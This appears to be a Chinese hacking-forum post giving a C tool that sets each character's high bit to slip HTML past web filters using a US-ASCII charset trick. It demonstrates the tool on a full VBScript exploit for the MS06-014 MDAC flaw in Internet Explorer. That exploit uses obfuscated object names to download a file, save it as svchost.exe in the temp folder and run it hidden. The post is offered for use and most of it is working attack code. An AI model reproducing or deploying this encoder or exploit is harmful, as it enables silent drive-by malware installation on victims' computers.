到国外几个网站看了几个牛人对这个漏洞的讨论，深有感触，写了个Exp，原理简单，高手飘过........
例子:ascii.exe hack.txt >hack.htm
漏洞与服务器无关、与客户端浏览器有关，当前通吃，是ASCII当然不支持汉字了，得记住哦
*/
#include <stdio.h>
int main(int argc,char** argv)
{
FILE *fp;
char ch;
printf("\n-- Bypassing of web filters by using ASCII Exploit By CoolDiyer --\n");
if(argc<2){
printf("\nUsage: \n\t %s srcfile >destfile\n",argv[0]);
return -1;
}
if((fp=fopen(argv[1],"r"))==NULL){
printf("File %s open Error",argv[1]);
return -1;
}//指定编码为US-ASCII是必须的
printf("\n<html>\n<head>\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=US-ASCII\" />\n<title>Bypassing of web filters by using ASCII Exploit By CoolDiyer</title>\n</head><body>\n");
while((ch=fgetc(fp))!=EOF){
ch|=0x80; //把7位变成8位，这句话是核心，呵呵
printf("%c",ch);
};
fclose(fp);
printf("\n</body></html>\n");
return -1;
}
_____________________________________________________________________________________
用ms06014做例子，源码如下..............
_____________________________________________________________________________________
<html>
<title>MS Internet Explorer (MDAC) Remote Code Execution Exploit (MS06-014)</title>
<script language="VBScript">
on error resume next
shell = "
Set CAOc = document.createElement("object")
CAOc.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
seturla="down"
seturlb="file"
seturlc="copy"
seturld="exit"
seturle="base"
CAOi="
Microsoft.XMLHTTP"
Set CAOd = CAOc.CreateObject(CAOi,"")
seturlf="Ado"
seturlg="db."
seturlh="Str"
seturli="eam"
CAOf=seturlf&seturlg&seturlh&seturli
CAOg=CAOf
set CAOa = CAOc.createobject(CAOg,"")
CAOa.type = 1
CAOh="GET"
CAOd.Open CAOh, shell, False
CAOd.Send
CAO9="svchost.exe"
set CAOb = CAOc.createobject("Scripting.FileSystemObject","")
set CAOe = CAOb.GetSpecialFolder(2)
CAOa.open
CAO8="CAOa.BuildPath(CAOa,CAO8)"
CAO7="CAOb.BuildPath(CAOb,CAO7)"
CAO6="CAOc.BuildPath(CAOd,CAO6)"
CAO5="CAOd.BuildPath(CAOf,CAO5)"
CAO4="CAOe.BuildPath(CAOg,CAO4)"
CAO3="CAOf.BuildPath(CAOh,CAO4)"
CAO2="CAOg.BuildPath(CAOi,CAO3)"
CAO1="CAOh.BuildPath(CAOg,CAO1)"
CAO0="CAOi.BuildPath(CAOk,CAO0)"
CAO9= CAOb.BuildPath(CAOe,CAO9)
CAOa.write CAOd.responseBody
CAOa.savetofile CAO9,2
CAOa.close
set CAOe = CAOc.createobject("Shell.Application","")
CAOe.ShellExecute CAO9,BBS,BBS,"open",0
</script>
</html>
_____________________________________________________________________________________
加密后ascii.exe ie.htm >a.htm
_____________________________________________________________________________________
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=US-ASCII" />
<title>Bypassing of web filters by using ASCII Exploit By CoolDiyer</title>
</head><body>
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</body></html>